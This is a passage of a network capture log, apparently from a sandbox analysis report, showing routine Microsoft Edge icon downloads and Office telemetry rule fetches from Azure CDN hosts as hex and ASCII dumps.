37 38 32 37 33 35 0d 0a 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: { "key": "09c47627bc533b5924a055a04bc4c33e", "value": 9.58344017744784 }, { "key": "e634eb20db508e3a31b61481a251bf93", "value": -0.337068592782735
2024-11-28 05:48:36 UTC	16384	IN	Data Raw: 30 37 37 37 34 37 33 33 30 39 35 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 31 32 62 62 65 66 63 30 35 64 35 31 34 32 65 37 65 62 36 38 36 66 61 64 38 64 65 61 39 32 31 31 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 30 35 37 31 37 37 35 33 31 31 38 30 39 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 63 65 35 66 62 38 64 66 31 32 35 61 34 37 32 31 64 31 64 66 33 32 38 62 63 36 66 32 64 64 65 61 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a Data Ascii: 07774733095 }, { "key": "12bbefc05d5142e7eb686fad8dea9211", "value": -1.05717753118094 }, { "key": "ce5fb8df125a4721d1df328bc6f2ddea", "value":
2024-11-28 05:48:36 UTC	16384	IN	Data Raw: 20 2d 31 2e 39 30 31 33 34 36 37 39 37 33 36 34 32 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 66 32 33 35 64 63 66 36 62 34 32 39 62 61 34 31 36 64 63 65 37 34 64 34 62 36 66 62 63 34 37 62 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 31 2e 32 36 30 31 38 31 31 38 35 36 30 38 38 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 63 38 66 31 37 64 37 34 30 33 61 63 35 66 66 32 38 39 36 61 37 31 33 61 37 31 37 35 65 64 31 39 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 Data Ascii: -1.9013467973642 }, { "key": "f235dcf6b429ba416dce74d4b6fbc47b", "value": 1.26018118560884 }, { "key": "c8f17d7403ac5ff2896a713a7175ed19", "va

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.5	49822	13.107.246.40	443	7628	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 05:48:35 UTC	431	OUT	GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-28 05:48:36 UTC	543	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 05:48:36 GMT Content-Type: image/png Content-Length: 1966 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:31 GMT ETag: 0x8DBDCB5EC122A94 x-ms-request-id: 0bea2c01-401e-0042-507f-404313000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241128T054836Z-174f78459684bddphC1EWRbht40000000xp000000000g0ne Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-28 05:48:36 UTC	1966	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 07 43 49 44 41 54 78 01 ed 97 5b 68 5c 75 1e c7 7f ff 73 f9 9f 49 d2 49 4f da 98 b4 6a d7 d9 c5 16 bc b0 4e c1 bd c8 6e d8 99 07 1f 74 1f 9a e0 2a 15 77 d7 06 0b 82 0f d5 3c 54 10 1f 3a 41 d0 2a 8a 2d 55 29 68 4d 14 1f 6a d3 92 3c 28 58 45 92 fa d0 0a 82 8e 48 14 6a 6b 53 d0 b4 21 4d e7 cc 64 6e 67 ce cd ef ef 64 4e 48 ed c5 74 d2 e8 4b 7f c3 9f ff b9 cd 39 9f f3 fd ff 6e 87 e8 ba 2d cd c4 62 2f 1c 1a 1a 4a 29 8a b2 c9 f3 bc 44 10 04 3c c8 71 1c 0b fb 59 8c af 71 6e a4 b7 b7 d7 a2 6b 6c bf 0a 38 3c 3c fc Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaCIDATx[h\usIIOjNntw<T:A-U)hMj<(XEHjkS!MdngdNHtK9n-b/J)D<qYqnkl8<<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.5	49820	13.107.246.40	443	7628	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 05:48:35 UTC	433	OUT	GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-28 05:48:36 UTC	536	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 05:48:36 GMT Content-Type: image/png Content-Length: 1427 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:36 GMT ETag: 0x8DBDCB5EF021F8E x-ms-request-id: 843d88b3-801e-005f-1a7f-409af9000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241128T054836Z-174f7845968vqt9xhC1EWRgten0000000xzg00000000cn48 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-28 05:48:36 UTC	1427	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 28 49 44 41 54 78 01 ed 57 cd 6b 24 45 14 7f af 67 86 c4 5d cd 8e 9b 05 d1 3d ec e8 1f 20 5e 3d 28 eb 41 04 41 44 10 3c 66 d1 53 92 d3 42 40 72 da 11 84 5c b3 7f 80 24 39 48 40 d4 8b 17 2f b2 e2 1f a0 1e 25 a7 01 11 16 17 35 1f f3 d1 dd d5 55 cf 57 df d5 d3 eb 4e 5a f0 22 53 a1 52 9d 57 5d ef fd de ef 7d 74 05 60 39 96 63 39 96 e3 3f 1d 08 ff 62 1c 1f 1f df e6 e5 9e 52 ea 15 5e fb bc 02 11 99 a9 9f f5 e4 41 52 4a 74 7b df f3 7a 77 7b 7b fb 67 68 39 5a 03 3c 3a 3a da 40 c4 43 0f ea 1f 56 3d 34 38 e2 89 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAa(IDATxWk$Eg]= ^=(AAD<fSB@r\$9H@/%5UWNZ"SRW]}t`9c9?bR^ARJt{zw{{gh9Z<::@CV=48

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.5	49821	13.107.246.40	443	7628	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 05:48:35 UTC	433	OUT	GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-28 05:48:36 UTC	543	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 05:48:36 GMT Content-Type: image/png Content-Length: 1751 Connection: close Last-Modified: Tue, 17 Oct 2023 00:34:33 GMT ETag: 0x8DBCEA8D5AACC85 x-ms-request-id: fcdf0dc0-001e-004e-0122-41ade2000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241128T054836Z-174f78459685726chC1EWRsnbg0000000y0000000000cchv Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-28 05:48:36 UTC	1751	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 06 6c 49 44 41 54 78 01 ed 98 4d 6c 54 55 14 c7 cf 9d ce b4 52 09 42 85 b8 40 ed f3 23 44 37 0a b8 32 71 01 71 a1 89 1b dc 08 3b ab 0b 64 87 b8 30 84 10 3a c3 c2 a5 1a 57 b8 52 16 26 6e 8c 10 3f 91 c5 a0 a2 21 0d d1 c6 18 63 34 9a 91 b8 c0 40 6c a1 ed cc 7b ef 7e 1c ff e7 de fb e6 4d 3f a0 1f d4 e8 a2 17 5e de eb ed 9b f7 7e f7 7f ce f9 9f 3b 25 5a 1b 6b e3 bf 1d 8a 56 71 d4 cf f2 2e 36 34 ca 44 bb d8 11 15 07 71 cf 19 ff 71 ad 08 3f 3b 4b 13 4e bb 3f 74 27 1f cf 3a d4 38 71 68 5d eb 5f 03 3c 76 86 9f c7 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAalIDATxMlTURB@#D72qq;d0:WR&n?!c4@l{~M?^~;%ZkVq.64Dqq?;KN?t':8qh]_<v

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.5	49819	13.107.246.40	443	7628	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 05:48:35 UTC	430	OUT	GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-28 05:48:36 UTC	543	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 05:48:36 GMT Content-Type: image/png Content-Length: 2008 Connection: close Last-Modified: Tue, 10 Oct 2023 17:24:26 GMT ETag: 0x8DBC9B5C0C17219 x-ms-request-id: f78da902-c01e-0071-68ed-401a3e000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241128T054836Z-174f7845968jrjrxhC1EWRmmrs0000000y4g000000007xa1 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-28 05:48:36 UTC	2008	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 07 6d 49 44 41 54 78 01 ed 98 bf 6f 14 47 14 c7 df ec 9d 11 48 48 5c aa 94 de 74 74 18 45 a9 59 24 0a d2 24 54 91 a0 f1 39 44 24 45 24 ec 32 0d be 28 05 44 14 98 2a e9 7c 96 50 e4 26 32 11 2d 02 47 91 02 4d 64 a3 08 25 92 a5 70 fc 05 18 ff 38 df ed af 97 ef 77 76 66 bd 36 07 67 9b 58 69 18 69 34 b3 b3 bb b3 9f fb ce 7b 6f de 9c c8 bb f2 76 c5 c8 21 95 bf 66 35 4c 33 59 8a 33 6d e0 33 53 1f 7e 69 66 38 fe 74 56 c7 b2 54 1e 26 a9 34 f2 4c a6 3e fa ba 18 ff e3 96 36 7b 89 cc 6e f5 45 92 2c 9b f8 b8 55 6f 73 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAamIDATxoGHH\ttEY$$T9D$E$2(D*\|P&2-GMd%p8wvf6gXii4{ov!f5L3Y3m3S~if8tVT&4L>6{nE,Uos

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.5	49825	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 05:48:36 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 05:48:37 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 05:48:37 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: 89e88ad2-001e-0065-4491-3f0b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T054837Z-174f7845968vqt9xhC1EWRgten0000000y4g00000000238v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 05:48:37 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.5	49824	13.107.246.40	443	7628	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 05:48:36 UTC	422	OUT	GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-28 05:48:37 UTC	536	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 05:48:37 GMT Content-Type: image/png Content-Length: 2229 Connection: close Last-Modified: Wed, 25 Oct 2023 19:48:24 GMT ETag: 0x8DBD59359A9E77B x-ms-request-id: 91faf48f-601e-005e-307f-409b04000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241128T054837Z-174f7845968j6t2phC1EWRcfe80000000y6g0000000051rx Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-28 05:48:37 UTC	2229	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 08 4a 49 44 41 54 78 01 ed 98 6d 88 5c 57 19 c7 9f e7 dc 7b 37 89 49 9a dd 6c 5e d6 96 c0 c4 36 a1 d5 2f 49 a1 92 22 ea 06 ac a4 41 21 05 41 2a e8 ee 16 a4 82 e0 26 62 a5 b5 92 99 f1 8b 2f 68 b3 fd 92 16 ad 64 fb 29 16 62 53 6d 68 17 15 b2 a2 ed 07 b1 6c a8 95 d6 97 74 36 a9 35 69 d2 90 dd 6d bb 9b 99 7b ce 79 fc 3f e7 dc d9 8d 99 24 b3 2f f9 d8 03 77 9e 7b ce dc b9 e7 77 ff cf cb 39 77 88 3e 6c 4b 6b 4c 37 a8 f5 ee 1d 2b a5 44 25 c2 47 9a d2 f8 c8 8f b6 8f d3 0d 68 4b 06 dc f1 8d df f7 ae cc ba cb 6c a8 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaJIDATxm\W{7Il^6/I"A!A*&b/hd)bSmhlt65im{y?$/w{w9w>lKkL7+D%GhKl

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.5	49827	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 05:48:36 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 05:48:37 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 05:48:37 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: 8b97b4d7-e01e-0003-5405-410fa8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T054837Z-174f7845968pf68xhC1EWRr4h80000000ya0000000003yqc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-28 05:48:37 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.5	49812	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 05:48:36 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 05:48:37 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 05:48:37 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: 02716611-001e-00ad-7089-3f554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T054837Z-174f7845968cdxdrhC1EWRg0en0000000y0g00000000498u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 05:48:37 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.5	49828	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 05:48:36 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 05:48:37 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 05:48:37 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: c3d74fa2-201e-0003-1d91-3ff85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T054837Z-174f7845968cdxdrhC1EWRg0en0000000xx000000000cm5v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 05:48:37 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.5	49826	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 05:48:36 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 05:48:37 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 05:48:37 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: f440c5dc-801e-0047-7891-3f7265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T054837Z-174f7845968l4kp6hC1EWRe8840000000y7000000000arrh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 05:48:37 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C 